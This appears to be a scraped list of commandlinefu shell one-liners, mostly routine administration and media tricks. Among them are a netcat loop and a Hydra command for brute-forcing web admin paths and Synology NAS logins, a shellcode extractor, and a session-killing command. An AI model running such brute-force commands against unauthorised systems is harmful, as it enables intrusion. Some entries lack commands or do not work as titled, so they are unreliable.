apt-popcon() { (echo \#rank; apt-cache search "$@" |awk '$1 !~ /^lib/ {print " "$1" "}') |grep -Ff- <(wget -qqO- http://popcon.debian.org/by_inst.gz |gunzip); }
Easy Persistent SSH Connections Using Screen
s() { screen -d -RR -m -S "$1" -t "$USER"@"$1" ssh "$1"; }
run shell with your commandlinefu.com's favourites as bash_history
(cat ~/.bash_history;U='curl -s www.commandlinefu.com';$U/users/signin -c/tmp/.c -d'username=<USER>&password=<PASS>&submit=1'|$U/commands/favourites/json -b/tmp/.c|grep -Po 'nd":.*?[^\\]",'|sed -re 's/.*":"(.*)",/\1/g')>~/.h;HISTFILE=~/.h bash --login
Use vim automation to create a colorized html file
file=<filename>;vim ${file} -e -s -c 'runtime! syntax/syntax.vim' -c 'runtime! syntax/2html.vim' -c "w ${file}.html" -c 'q!' -c 'q!' > /dev/null
Use top to monitor only all processes with the same name fragment 'foo'
top $(pgrep foo | sed 's|^|-p |g')
See size of partitions as human readable
parted /dev/sda print
Insert an element into xml
xmlstarlet ed -s "/breakfast_menu/food" -t elem -n 'foo' -v "bar" simple.xml
generate random tone
paste <(seq 7 | shuf | tr 1-7 A-G) <(seq 7 | shuf) | while read i j; do play -qn synth 1 pluck $i synth 1 pluck mix $2; done
Generate pretty secure random passwords
pwgen -Bnyc
Remove all leading and trailing spaces or tabs from all lines of a text file
while read l; do echo -e "$l"; done <1.txt >2.txt
Have your sound card call out elapsed time.
for ((x=0;;x+=5)); do sleep 5; espeak $x & done
Reverse SSH
ssh -f -N -R 8888:localhost:22 user@somedomain.org
gawk gets fixed width field
ls -l | gawk -v FIELDWIDTHS='1 3 3 3' '{print $2}'
Losslessly rotate videos from your phone by 90 degrees.
mkdir rotated; for v in *.3gp; do ffmpeg -i $v -vf transpose=2 -vcodec ffv1 rotated/${v/3gp/avi} ; done
Find duplicate UID in /etc/passwd
awk -F":" '!list[$3]++{print $3}' /etc/passwd
regex for turning a URL into a real hyperlink (i.e. for posting somewhere that accepts basic html)
sed "s/\([a-zA-Z]*\:\/\/[^ ]*\)\(.*\)/\<a href=\"\1\"\>\1\<\/a\>\2/"
draw matrix using dot
echo 'graph{node[shape=record];rankdir=LR;matrix[label="{1|2|3}|{4|5|6}|{7|8|9}",color=red]}' | dot -Tpng | display
vim read stdin
ls | vim +'set bt=nowrite' -
Lists all usernames in alphabetical order
awk -F ':' '{print $1 | "sort";}' /etc/passwd
gag version of current date
ddate
ascii digital clock
watch -tn1 'date +%T | xargs banner'
use mplayer to watch Apple Movie Trailer instead of quicktime player
mplayer -rtsp-stream-over-tcp -user-agent QuickTime/7.6.4 http://trailers.apple.com/movies/HDmovie-h720p.mov
Rsync two directories with filtered extensions
rsync -rv --include '*/' --include '*.txt' --exclude '*' srcDir/ desDir/
Expand shortened URLs
expandurl() { curl -sIL $1 | grep ^Location; }
Generate SHA1 hash for each file in a list
find . -type f -exec sha1sum {} >> SHA1SUMS \;
Grab an interface's IP from ifconfig without screen clutter
ifconfig eth1 | grep inet\ addr | awk '{print $2}' | cut -d: -f2 | sed s/^/eth1:\ /g
Most used command
history | awk '{a[$'$(echo "1 2 $HISTTIMEFORMAT" | wc -w)']++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
Command to logout all the users in one command
skill -KILL -v /dev/pts/*
journalctl -f
journalctl -f
Quick plotting of a function
seq 0 0.1 20 | awk '{print $1, cos(0.5*$1)*sin(5*$1)}' | graph -T X
Poor man's unsort (randomize lines)
while read l; do echo -e "$RANDOM\t$l"; done | sort -n | cut -f 2
Compare / diff two images
convert image1 image2 -resize '400x300!' MIFF:- | compare -metric AE -fuzz '10%' - null:
Multi-segment file downloading with lftp
lftp -u user,pass ftp://site.com -e 'pget -c -n 6 file'
iso to USB with dd and show progress status
dd if=/home/kozanoglu/Downloads/XenServer-7.2.0-install-cd.iso | pv --eta --size 721420288 --progress --bytes --rate --wait > /dev/sdb
Function to remove a directory from your PATH
pathrm() { PATH=`echo $PATH | sed -e "s=^${1}:==;s=:${1}$==;s=:${1}:=:="`; }
Working random fact generator
wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;" | while read FUNFACT; do notify-send -t $((1000+300*`echo -n $FUNFACT | wc -w`)) -i gtk-dialog-info "RandomFunFact" "$FUNFACT"; done
Shows users and 'virtual users' on your a unix-type system
ps -eo user | sort -u
Use the builtin ':' bash command to increment variables
[ $V ] || : $((V++)) && echo $V
Colorized JSON pretty printing
alias pp='python -mjson.tool | pygmentize -l javascript'
Show a line when a "column" matchs
awk '{ FS = OFS = "#" } { if ($9==1234) print }' filename*.log > bigfile.log
Sort files by date
ls -lrt
Copy without overwriting
yes n | cp -p -i -r <src> <dest>
Get NFL/MLB Scores/Time
w3m -no-cookie http://m.espn.go.com/nfl/scoreboard?|sed 's/ Final/ : Final/g'|sed 's/ F\// : F\//g'|sed 's/, / : /g'|grep -i ':'
Check SSH public and private keys matching
diff <(ssh-keygen -y -f ~/.ssh/id_rsa) <(cut -d' ' -f1,2 ~/.ssh/id_rsa.pub)
List open TCP/UDP ports
lsof -i tcp -i udp
List your largest installed packages (on Debian/Ubuntu)
awk '{if ($1 ~ /Package/) p = $2; if ($1 ~ /Installed/) printf("%9d %s\n", $2, p)}' /var/lib/dpkg/status | sort -n | tail
take a screenshot of a webpage
sudo xvfb-run --server-args="-screen 0, 1024x768x24" ./webkit2png.py -o google.png http://www.google.com
Better git diff, word delimited and colorized
git diff -U10 |wdiff --diff-input -a -n -w $'\e[1;91m' -x $'\e[0m' -y $'\e[1;94m' -z $'\e[0m' |less -R
keep an eye on system load changes
watch -n 7 -d 'uptime | sed s/.*users,//'
FizzBuzz one-liner in Python
python -c'for i in range(1,101):print"FizzBuzz"[i*i%3*4:8--i**4%5]or i'
Open a file explorer on a split screen inside your vim session
:Sex
Trick find -exec option to execute alias
find . -exec `alias foo | cut -d"'" -f2` {} \;
To play a file at 1.5 times normal speed without increasing the pitch
mplayer -af scaletempo=scale=1.5 foo.mp3
Show line numbers in a text file
cat -n file.txt
Renaming a file without overwiting an existing file name
mv -b old_file_name new_and_already_existent_file_name
Search and Replace across multiple files
grep -lr -e '<oldword>' * | xargs sed -i 's/<oldword>/<newword>/g'
Highlight network TX, RX information change
watch -n 2 -d '/sbin/ifconfig eth0'
Find the package a command belongs to on debian-based distros
apt-file search iostat
Backup entire system through SSH
ssh -C USER@HOST tar -c --exclude /proc --exclude /sys / | tar -x
Share a screen session
screen -x <screen_id>
Retrieve the size of a file on a server
wget --spider $URL 2>&1 | awk '/Length/ {print $2}'
Prepend a text to a file.
sed -i '1s/^/text to prepend\n/' file1
Realtime lines per second in a log file
tail -f /var/log/logfile|perl -e 'while (<>) {$l++;if (time > $e) {$e=time;print "$l\n";$l=0}}'
full memcache client in under 255 chars (uses dd, sed and nc)
mem(){ { case $1 in st*|[vgid]*) printf "%s " "$@";; *) dd if=$3 2>&1|sed '$!d;/^0/d;s/ .*//;s/^/'"$1"' '"$2"' 1 0 /; r '"$3"'' 2>/dev/null;;esac;printf "\r\nquit\r\n";}|nc -n 127.0.0.1 11211; }
Email yourself after a job is done
Get International Space Station sighting information for your city
links -dump "http://spaceflight.nasa.gov/realdata/sightings/cities/view.cgi?country=United_States®ion=Wisconsin&city=Portage" | sed -n '/--/,/--/p'
shutdown pc in a 4 hours
shutdown -h +240
Concating pdf files
pdftk inp1.pdf inp2.pdf inp3.pdf cat output out.pdf
Indent a one-liner.
type <function name>
Get a BOFH excuse
telnet towel.blinkenlights.nl 666 | sed "s/=== The BOFH Excuse Server ===//" | tr -d '\n' && echo
remove empty lines in place with backup
sed -e '/^$/d' -i .bak filewithempty.lines
let the cow suggest some commit messages for you
curl -s http://whatthecommit.com/index.txt | cowsay
Report all quota usage
quota -q $(cat /etc/passwd|cut -d ':' -f 1)
Checks throughput between two nodes
cat /dev/zero | pv | ssh 192.168.1.2 "cat > /dev/null"
Download a numbered sequence of files
curl --silent -O "http://www.somewebsite.com/imagedir/image_[00-99].jpg"
Summarise the size of all files matching a simple regex
find /path/to/my/files/ -type f -name "*txt*" | xargs du -k | awk 'BEGIN{x=0}{x=x+$1}END{print x}'
Lists unambigously names of all xml elements used in files in current directory
grep -h -o '<[^/!?][^ >]*' * | sort -u | cut -c2-
Colorful man
/usr/bin/man man | /usr/bin/col -b | /usr/bin/iconv -c | view -c 'set ft=man nomod nolist nospell nonu
Update all ant packages installed in gentoo
emerge -q1 $(eix -C dev-java -I --upgrade+ --only-names ant)
See system users
~<TAB>
Create multiple mp4 files using avidemux
for i in *;do avidemux --video-codec Xvid4 --audio-codec mp3 --load "${i}" --save "`echo "$i" | sed -e 's/\....$//'`.done.mp4" --quit; done
mysql DB size
mysql -u root -pPasswort -e 'select table_schema,round(sum(data_length+index_length)/1024/1024,4) from information_schema.tables group by table_schema;'
Capture data in ASCII. 1500 bytes
tcpdump -ieth0 -n tcp port 80 -A -s1500
Find all files under a certain directory /home that have a certain suffix at the end of the file name. Show the file and rename them to remove the suffix.
find /home -print -exec rename -v 's/_2009-09-04.suffix$//' {} \;
Test how well a web server handles concurrent connections and big load.
ab -n 1000 -c 100 http://127.0.0.1:8000/
Generate a GIF image from video file
ffmpeg -ss 30 -t 3 -i input.mp4 -vf "fps=10,scale=320:-1:flags=lanczos,split[s0][s1];[s0]palettegen[p];[s1][p]paletteuse" -loop 0 output.gif
[WinXP]Use as a shortcut in the SendTo menu to open a cmd window for a given folder.
C:\WINDOWS\system32\cmd.exe /t:0A /k cd /d
Update program providing java on Debian
update-java-alternatives
Debian: Mark all dependent packages as manualy installed.
sudo aptitude unmarkauto $(apt-cache depends some-deb-meta-package-name | grep Depends | cut -d: -f2)
show rpm packages scriptlets
rpm -qp --scripts package.rpm
Rename all files in a directory to the md5 hash
for i in *; do sum=$(md5sum $i); mv -- "$i" "${sum%% *}"; done
convert plain .avi movies to .mpeg
ffmpeg -i movie.avi -y -f vcd -vcodec mpeg1video -map 0.0:0.0 -b 1150 -s 352x240 -r 29.97 -g 12 -qmin 3 -qmax 13 -acodec mp2 -ab 224 -ar 44100 -ac 2 -map 0.1:0.1 movie.mpg
Monitor the queries being run by MySQL
mytop
get absolute file path
readlink -f myfile.txt
Generate a Change Log with git
git log --no-merges --format="%an: %s" v1..v2
split a string (3)
OLD_IFS="$IFS"; IFS=: ARRAY=($PATH); echo ${ARRAY[2]}; IFS="$OLD_IFS"
Print a list of the 30 last modified mp3s sorted by last first
find ~/Music -daystart -mtime -60 -name *mp3 -printf "%T@\t%p\n" | sort -f -r | head -n 30 | cut -f 2
sort monthwise
sort -M filename
Oneliner to run commands on multiple servers
sxh () { for i in "${@:2}"; do ssh "$i" "$1"; done ; }
determine if tcp port is open
lsof -i :22
Replace all in last command
!!:gs/data/index/
Google Translate
wget -U "Mozilla/5.0" -qO - "http://translate.google.com/translate_a/t?client=t&text=translation+example&sl=auto&tl=fr" | sed 's/\[\[\[\"//' | cut -d \" -f 1
run a command from within vi without exiting
:! <bash_command>
PDF simplex to duplex merge
pdftk A=odd.pdf B=even.pdf shuffle A1-end Bend-1S output duplex.pdf
Rotate a single page PDF by 180 degrees
pdftk in.pdf cat 1S output out.pdf
Console clock
watch -t -n1 'date "+%r %F %A"'
Download Entire YouTube Channel - all of a user's videos
yt-chanrip() { for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/uploads | grep -Eo "watch\?v=[^[:space:]\"\'\\]{11}" | uniq); do youtube-dl --title --no-overwrites http://youtube.com/"$i"; done }
Install a basic FreeBSD system
dd if=mfsbsd.iso | ssh distant.server dd of=/dev/sda
Remove all files except list
rm -rf !(@(file1|file2|...))
Remove all .svn folders
find . -depth -name .svn -type d -exec rm -fr {} \;
Batch rename extension of all files in a folder, in the example from .txt to .md
mmv "*.txt" "#1.md"
do 'foo' until it exits successfully, pausing in between crashes
until foo some args; do echo "crashed: $? respawning..." >&2; sleep 10; done
duration of the DNS-query
server=8.8.8.8; host="apple.com"; queries=128; for i in `seq $queries`; do let x+=`dig @${server} $host | grep "Query time" | cut -f 4 -d " "`; done && echo "scale=3;($x/${queries})" | bc
Fibonacci numbers with awk
awk 'func f(n){return(n<2?n:f(n-1)+f(n-2))}BEGIN{while(a<24){print f(a++)}}'
Rename all (jpg) files written as 3 number in 4 numbers.
for i in ???.jpg; do mv $i $(printf %04d $(basename $i .jpg) ).jpg ; done
List files
Esc-/ Esc-/
BASH one-liner to get the current week number
date +"%V"
kill all process that belongs to you
pkill -u `whoami`
Show exit status of all portions of a piped command eg. ls |this_doesn't_exist |wc
echo ${PIPESTATUS[@]}
Simplest way to get size (in bytes) of a file
du -b filename
List only executables installed by a debian package
dpkg -L iptables | perl -lne 'print if -f && -x'
Fix "broken" ID3 tags in the current directory and subdirectories
find -iname '*mp3' -exec mid3iconv {} \;
Take screenshot through SSH
xwd -root -display :0.0| xwdtopnm | pnmtopng > Screenshot.png
phpinfo from the command line
php -r "phpinfo();"
HTTP Get of a web page via proxy server with login credentials
curl -U username[:password] -x proxyserverIP:proxyserverPort webpageURI
First pass dvd rip… The set of commands was too long, so I had to separate them into two.
mencoder dvd://<title> -dvd-device <device> -aid 128 -info srcform='ripped by mencoder' -oac mp3lame -lameopts abr:br=128 -ovc xvid -xvidencopts pass=1:chroma_opt:vhq=4:bvhq=1:quant_type=mpeg -vf pp=de,crop=0:0:0:0, -ofps 30000/1001 -o '/dev/null'
Netcat brute force on administration login panel
for i in $(cat adm);do echo -e "GET /${i} HTTP/1.0\n\r\n\r \nHost: 192.168.77.128\r\n\r\n \nConnection: close\r\n"|nc -w 1 192.168.77.128 80 |grep -i "200 OK" 2>/dev/null >/dev/null;[ $? -eq "0" ] && echo "Found ${i}" && break;echo "$i";sleep 1;done
calculate in commandline with bash
echo $(( 1+1 ))
change up n directories
up () { if [ "${1/[^0-9]/}" == "$1" ]; then p=./; for i in $(seq 1 $1); do p=${p}../; done; cd $p; else echo 'usage: up N'; fi }
wget with resume
wget -c or wget --continue
Install Restricted Multimedia Codecs in Ubuntu 14.04
sudo apt-get install libavcodec-extra
Quick calculator at the terminal
echo "$math_expr" | bc -l
Second pass dvd rip… The set of commands was too long, so I had to separate them into two.
mencoder dvd://<title> -dvd-device <device> -aid 128 -info srcform='ripped by mencoder' -oac mp3lame -lameopts abr:br=128 -ovc xvid -xvidencopts pass=2:bitrate=-700000 -ofps 30000/1001 -o '<outputfile.avi>'
split large video file
ffmpeg -i 100_0029.MOV -ss 00:00:00 -t 00:04:00 100_0029_1.MOV
add static arp entry to default gateway, arp poison protection
arp -s $(route -n | awk '/^0.0.0.0/ {print $2}') \ $(arp -n | grep `route -n | awk '/^0.0.0.0/ {print $2}'`| awk '{print $3}')
Rip a DVD to AVI format
mencoder dvd://1 -aid 128 -o track-1.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4
Use QuickLook from the command line without verbose output
qlook() { qlmanage -p "$@" >& /dev/null & }
print contents of file from line 1 until we match regex
sed -n '1,/regex/p' filename
print line and execute it in BASH
echo <command>; !#:0-$
move messages directly from one IMAP inbox to another
mailutil appenddelete '{src.mailsrv1.com:993/imap/norsh/notls/ssl/novalidate-cert/user="username"}INBOX' '{dest.mailsrv2.com:143/imap/norsh/notls/user="username"}INBOX'
Video thumbnail
ffmpeg -ss 5 -i video.avi -vframes 1 -s 320x240 thumb.jpg
Show the key code for keyboard events include the Fn keys
sudo showkey -k
Lurk what's going on on remote console
a=$(stty -a -F /dev/tty1| awk -F'[ ;]' '/columns/ { print $9 }'); fold -w$a /dev/vcs1;echo
Screencast of your PC Display with mp4 output
avconv -v warning -f alsa -i default -f x11grab -r 15 -s wxga -i :0.0 -vcodec libx264 -preset ultrafast -threads auto -y -metadata title="Title here" ~/Video/AVCONV_REG.mp4
nohup that doesn't generate nohup.out
nohup <command> 2> /dev/null > /dev/null &
Remove comments in XML file
xmlstarlet ed -d '//comment()' $XML_FILE
Replace Every occurrence of a word in a file
perl -p -i -e 's/this/that/g' filename
Report bugs in Ubuntu
ubuntu-bug
Get each users commit amount
svn log 2>&1 | egrep '^r[0-9]+' | cut -d "|" -f2 | sort | uniq -c
Create a file of a given size in linux
dd if=/dev/zero of=foo.txt bs=1M count=1
convert all flac files in a folder to mp3 files with a bitrate of 192 kbps
for f in *;do flac -cd $f |lame -b 192 - $f.mp3;done
display date of last time a process was started in date format
ps -o lstart <pid>
Monitoring file handles used by a particular process
lsof -c <process name> -r
livehttpheaders (firefox addon) replacement
liveh(){ tcpdump -lnAs512 ${1-} tcp |sed ' s/.*GET /GET /;s/.*Host: /Host: /;s/.*POST /POST /;/[GPH][EOo][TSs]/!d;w '"${2-liveh.txt}"' ' >/dev/null ;} !!! Example "usage: liveh [-i interface] [output-file] && firefox &
View details of network activity, malicious or otherwise within a port range.
lsof -i :555-7000
diff files while disregarding indentation and trailing white space
diff -b $file1 $file2 !!! Example "GNU Tools
Compress excutable files in place.
gzexe name ...
write the output of a command to /var/log/user.log… each line will contain $USER, making this easy to grep for.
log() { (echo "\$ $@";$@) | logger -t $USER; }
DVD ripping with ffmpeg
cat VIDEO_TS/VTS_01_[1234].VOB | nice ffmpeg -i - -s 512x384 -vcodec libtheora -acodec libvorbis ~/Videos/dvd_rip.ogg
Simultaneously running different Firefox profiles
firefox -P <profile_name> -no-remote
static compilation
st() { LDFLAGS=-static CFLAGS=-static CXXFLAGS=-static NOSHARED=yes ./configure $@ ;} usage: st [configure operands]
Remove Thumbs.db files from folders
rm -f **/Thumbs.db
Revert all modified files in an SVN repo
svn st | grep -e '^M' | awk '{print $2}' | xargs svn revert
What is my public IP-address?
dig @208.67.222.222 myip.opendns.com
Remove color codes (special characters) with sed
sed -r "s:\x1B\[[0-9;]*[mK]::g"'
tee to a file descriptor
tee >(cat - >&2)
Remove all the files except abc in the directory
find * -maxdepth 1 -type f ! -name abc -delete
Transcode .flac to .wav with gstreamer
for i in *.flac; do gst-launch filesrc location="$i" ! flacdec ! wavenc ! filesink location="${i%.flac}.wav"; done
Clean up display when the bash prompt is displayed
export PS1="\[\017\033[m\033[?9l\033[?1000l\]$PS1"
'hpc' in the shell - starts a maximum of n compute commands modulo n controlled in parallel, using make
echo -n 'targets = $(subst .png,.jpg,$(wildcard *.png))\n$(targets):\n convert $(subst .jpg,.png,$@) $@ \nall : $(targets)' | make -j 4 -f - all
Virtual Console lock program
vlock
Convert ascii string to hex
echo -n "text" | od -A n -t x1 |sed 's/ /\\x/g'
Get all shellcode on binary file from objdump
objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
Pass TAB as field separator to sort, join, cut, etc.
sort -t $'\t' -k 2 input.txt
Query Wikipedia via console over DNS
nslookup -q=txt <topic>.wp.dg.cx
Force the script to be started as root
if [ $EUID -ne 0 ]; then if [ -t 0 ]; then exec sudo $0; else exec gksu $0; fi; fi;
Run bash on top of a vi session (saved or not saved), run multiple commands, instead of one at a time with :!(bashcommand), type exit and [enter] to get back to where you left off in vi.
:shell
Display disk partition sizes
lsblk --json | jq -c '.blockdevices[]|[.name,.size]'
Sort disk usage from directories
du --max-depth=1 -h . | sort -h
Getting the ip address of eth0
ifconfig eth0 | awk '/inet addr/ {split ($2,A,":"); print A[2]}'
send echo to socket network
echo foo | netcat 192.168.1.2 25
mount a cdrom
mount -t iso9660 /dev/cdrom /media/cdrom
Netcat & Tar
Server: nc -l 1234 |tar xvfpz - ;Client: tar zcfp - /path/to/dir | nc localhost 1234
Generate an XKCD #936 style 4 word password
echo $(grep "^[^']\{3,5\}$" /usr/share/dict/words|shuf -n4)
Limit the transfer rate and size of data over a pipe
cat /dev/zero | pv -L 3m -Ss 100m > /dev/null
Arch Linux: Search for missing libraries using pacman
pacman -Fs libusb-0.1.so.4
List symbols from a dynamic library (.so file)
nm --dynamic <libfile.so>
Top 10 Memory Processes (reduced output to applications and %usage only)
ps aux | sort -rk 4,4 | head -n 10 | awk '{print $4,$11}'
Copy text to the clipboard
cat SomeFile.txt | pbcopy
preprocess code to be posted in comments on this site
sed 's/^/$ /' "$script" | xclip
Display Dilbert strip of the day
display http://dilbert.com$(curl -s dilbert.com|grep -Po '"\K/dyn/str_strip(/0+){4}/.*strip.[^\.]*\.gif')
The Hidden PS
for p in `ps L|cut -d' ' -f1`;do echo -e "`tput clear;read -p$p -n1 p`";ps wwo pid:6,user:8,comm:10,$p kpid -A;done
add repeated watermark to image
composite -dissolve 30% -tile watermark.png input.png output.png
python - covert image to base64 string for data URI use
python -c 'print open("path/to/image.png", "rb").read().encode("base64").replace("\n","")'
Recursive find and replace file extension / suffix (mass rename files)
find ~/Notes -type f -iname '*.md' -print0 | xargs -0 rename --no-overwrite .md .txt {}
Find Files That Exceed a Specified Size Limit
find directory -size +nnn
get diskusage of files modified during the last n days
sudo find /var/log/ -mtime -7 -type f | xargs du -ch | tail -n1
prints line numbers
ls | sed "/^/=" | sed "N;s/\n/. /"
'hpc' in the box - starts a maximum of n compute commands modulo n controlled in parallel
c=0; n=8; while true; do r=`echo $RANDOM%5 |bc`; echo "sleep $r"; sleep $r& 2>&1 >/dev/null && ((c++)); [ `echo "$c%$n" | bc` -eq 0 ] && echo "$c waiting" && wait; done
connects to a serial console
cu -s 9600 -l /dev/ttyS0
Save your open windows to a file so they can be opened after you restart
wmctrl -l -p | while read line; do ps -o cmd= "$(echo "$line" | awk '$0=$3')"; done > ~/.windows
Set a Reminder for yourself via the notification system
sleep 6s && notify-send -t 10000 -u critical "remember to think" &
Get IPv4 of eth0 for use with scripts
ifconfig eth0 | grep "inet " | cut -d ':' -f2 | awk '{print $1}'
Prepare a commandlinefu command.
goclf() { type "$1" | sed '1d' | tr -d "\n" | tr -s '[:space:]'; echo }
Runs a command without hangups.
screen -d -m command &
Import SQL into MySQL with a progress meter
(pv -n ~/database.sql | mysql -u root -pPASSWORD -D database_name) 2>&1 | zenity --width 550 --progress --auto-close --auto-kill --title "Importing into MySQL" --text "Importing into the database"
Forget remembered path locations of previously ran commands
hash -r
matrix in your term
cmatrix -abx
make, or run a script, everytime a file in a directory is modified
while inotifywait -r -e MODIFY dir/; do make; done;
translate what is in the clipboard in english and write it to the terminal
wget -qO - "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|en&v=1.0&q=`xsel`" |cut -d \" -f 6
Launch firefox on a remote linux server
ssh -fY user@REMOTESERVER firefox -no-remote
List bash functions defined in .bash_profile or .bashrc
declare -F | cut -d ' ' -f 3
cleanup /tmp directory
find /tmp -type f -atime +1 -delete
Print current runlevel
who -r
Write comments to your history.
comment() { echo "" > /dev/null; }
Count lines of code across multiple file types, sorted by least amount of code to greatest
find . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} + | sort -n
Count occurrences per minute in a log file
grep <something> logfile | cut -c2-18 | uniq -c
Get Lorum Ipsum random text from lorumipsum.com
lynx -source http://www.lipsum.com/feed/xml?amount=3|perl -p -i -e 's/\n/\n\n/g'|sed -n '/<lipsum>/,/<\/lipsum>/p'|sed -e 's/<[^>]*>//g'
create a .avi with many .jpg
mencoder "mf://*.jpg" -mf fps=8 -o ./video.avi -ovc lavc
Lock the hardware eject button of the cdrom
eject -i 1
Show interface/ip using awk
ifconfig -a| awk '/^wlan|^eth|^lo/ {;a=$1;FS=":"; nextline=NR+1; next}{ if (NR==nextline) { split($2,b," ")}{ if ($2 ~ /[0-9]\./) {print a,b[1]}; FS=" "}}'
Print a row of characters across the terminal
printf -v row "%${COLUMNS}s"; echo ${row// /#}
Sort the current buffer in vi or vim.
:%sort
grab all commandlinefu shell functions into a single file, suitable for sourcing.
curl -s http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25] | grep -oP "^\w+\(\)\ *{.*}"
remove OSX resource forks ._ files
dot_clean
Create a video screencast (capture screen) of screen portion, with audio (the audio you hear, not your mic)
cvlc --input-slave pulse://<device> screen:// --screen-fps=15 --screen-top=0 --screen-left=0 --screen-width=640 --screen-height=480 --sout='#transcode{vcodec=FLV1,vb=1600,acodec=aac}:std{access=file,mux=ffmpeg{mux=flv},dst=viewport1.flv}'
keep a log of the active windows
while true; do (echo -n $(date +"%F %T"):\ ; xwininfo -id $(xprop -root|grep "ACTIVE_WINDOW("|cut -d\ -f 5) | grep "Window id" | cut -d\" -f 2 ) >> logfile; sleep 60; done
Bruteforce Synology NAS Logins with Hydra
hydra -I -V -T 5 -t 2 -s 5001 -M /tmp/syno https-post-form '/webman/login.cgi?enable_syno_token=yes:username=^USER^&passwd=^PASS^&OTPcode=:S=true' -L ./ruby-syno-brut/user -P ruby-syno-brut/passlist-short-2.txt
Convert records in columns to csv
awk '{print $3,$2,$1}' RS="\n\n" FS="\n" OFS="," filename.txt
a shell function to print a ruler the width of the terminal window.
ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=''; for (( i=1; i<=(COLUMNS + w) / $w; i=i+1 )); do str+=$s; done; str=${str:0:COLUMNS} ; echo $str; done; }
Ease your directory exploration
tt(){tree -pFCfa . | grep "$1" | less -RgIKNs -P "H >>> "}
Randomize lines (opposite of | sort)
sort -R
This command provides more color variety for the rainbow-like appearance by generating random color codes from 16 to 231 for adb logcat.
adb logcat|awk '{ i srand();for (i = 1; i <= NF; i++) { color = int(rand() * 216) + 16; printf "\033[38;5;%dm%s\033[0m ", color, $i;} printf "\n"; }'
password recovery on debian
init=/bin/bash; mount -o remount,rw /
print java packages by using unix tree and sed
tree -d -I 'CVS' -f -i | sed 's/\//./g' | sed 's/\.\.//g'
Find and delete thunderbird's msf files to make your profile work quickly again.
find ~/.thunderbird/*.default/ -name *.msf -exec rm -f {} \;
quick and dirty formatting for HTML code
sed -r 's_(/[^>]*?>)_\1\n_g' filename.html
Massive change of file extension (bash)
for file in *.txt; do mv "$file" "${file%.txt}.xml"; done
Display your ${PATH}, one directory per line
echo $PATH | tr : \\n
copies 20 most recently downloaded mp3 files (such as from Miro) into a directory
find . -name \*.mp3 -printf "%C+ %h/%f\n" | sort -r | head -n20 | awk '{print "\""$2"\""}' | xargs -I {} cp {} ~/tmp
import gpg key from the web
curl -s http://defekt.nl/~jelle/pubkey.asc | gpg --import
Outputs a 10-digit random number
head -c4 /dev/urandom | od -N4 -tu4 | sed -ne '1s/.* //p'
convert a latex source file (.tex) into opendocument (.odt ) format
htlatex MyFile.tex "xhtml,ooffice" "ooffice/! -cmozhtf" "-coo -cvalidate"
MPD + Digitally Imported
wget -q -O - http://listen.di.fm/public2 | sed 's/},{/\n/g' | perl -n -e '/"key":"([^"]*)".*"playlist":"([^"]*)"/; print "$1\n"; system("wget -q -O - $2 | grep -E '^File' | cut -d= -f2 > di_$1.m3u")'
Create named LUKS encrypted volume
edrv() { N=${1:-edrv}; truncate -s ${2:-256m} $N.img && L=$(losetup -f) && losetup $L $N.img && cryptsetup luksFormat --batch-mode $L && cryptsetup luksOpen $L $N && mkfs.vfat /dev/mapper/$N -n $N; cryptsetup luksClose $N; echo losetup -d $L to unmount; }
Repeatedly send a string to stdout– useful for going through "yes I agree" screens
yes "text" | annoying_installer_program !!! Example ""text" defaults to the letter y
remove audio trac from a video file
mencoder -ovc copy -nosound ./movie.mov -o ./movie_mute.mov
Check a server is up. If it isn't mail me.
ping -q -c1 -w3 server.example.com >& /dev/null || echo server.example.com ping failed | mail -ne -s'Server unavailable' admin@example.com
Perl Simple Webserver
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 ? "./$1 |" : $1) if /^GET \/(.*) / })'
Sync the date of one server to that of another.
sudo date -s "$(ssh user@server.com "date -u")"
Send your svn diff to meld
svn diff --diff-cmd='meld' -r 100:BASE FILE
Capture screen and mic input using FFmpeg and ALSA
ffmpeg -f alsa -itsoffset 00:00:02.000 -ac 2 -i hw:0,0 -f x11grab -s $(xwininfo -root | grep 'geometry' | awk '{print $2;}') -r 10 -i :0.0 -sameq -f mp4 -s wvga -y intro.mp4
colorize your svn diff
svn diff | vim -
Change prompt to MS-DOS one (joke)
export PS1="C:\$( pwd | sed 's:/:\\\\\:g' )> "
Show top SVN committers for the last month
svn log -r {`date +"%Y-%m-%d" -d "1 month ago"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c
Print a row of 50 hyphens
seq -s" " -50 -1 | tr -dc -
Restore mysql database uncompressing on the fly.
zcat database.sql.gz | mysql -uroot -p'passwd' database
dump a single table of a database to file
mysqldump -u UNAME -p DBNAME TABLENAME> FILENAME
Get your public ip
curl -s ip.appspot.com
Group OR'd commands where you expect only one to work
( zcat $FILE || gzcat $FILE || bzcat2 $FILE ) | less
See a full last history by expanding logrotated wtmp files
( last ; ls -t /var/log/wtmp-2* | while read line ; do ( rm /tmp/wtmp-junk ; zcat $line 2>/dev/null || bzcat $line ) > /tmp/junk-wtmp ; last -f /tmp/junk-wtmp ; done ) | less
Pronounce an English word using Merriam-Webster.com
pronounce(){ wget -qO- $(wget -qO- "http://www.m-w.com/dictionary/$@" | grep 'return au' | sed -r "s|.*return au\('([^']*)', '([^'])[^']*'\).*|http://cougar.eb.com/soundc11/\2/\1|") | aplay -q; }
show git commit history
git reflog show | grep '}: commit' | nl | sort -nr | nl | sort -nr | cut --fields=1,3 | sed s/commit://g | sed -e 's/HEAD*@{[0-9]*}://g'
Detect Language of a string
detectlanguage(){ curl -s "http://ajax.googleapis.com/ajax/services/language/detect?v=1.0&q=$@" | sed 's/{"responseData": {"language":"\([^"]*\)".*/\1\n/'; }
Tell Analytics to fuck itself.
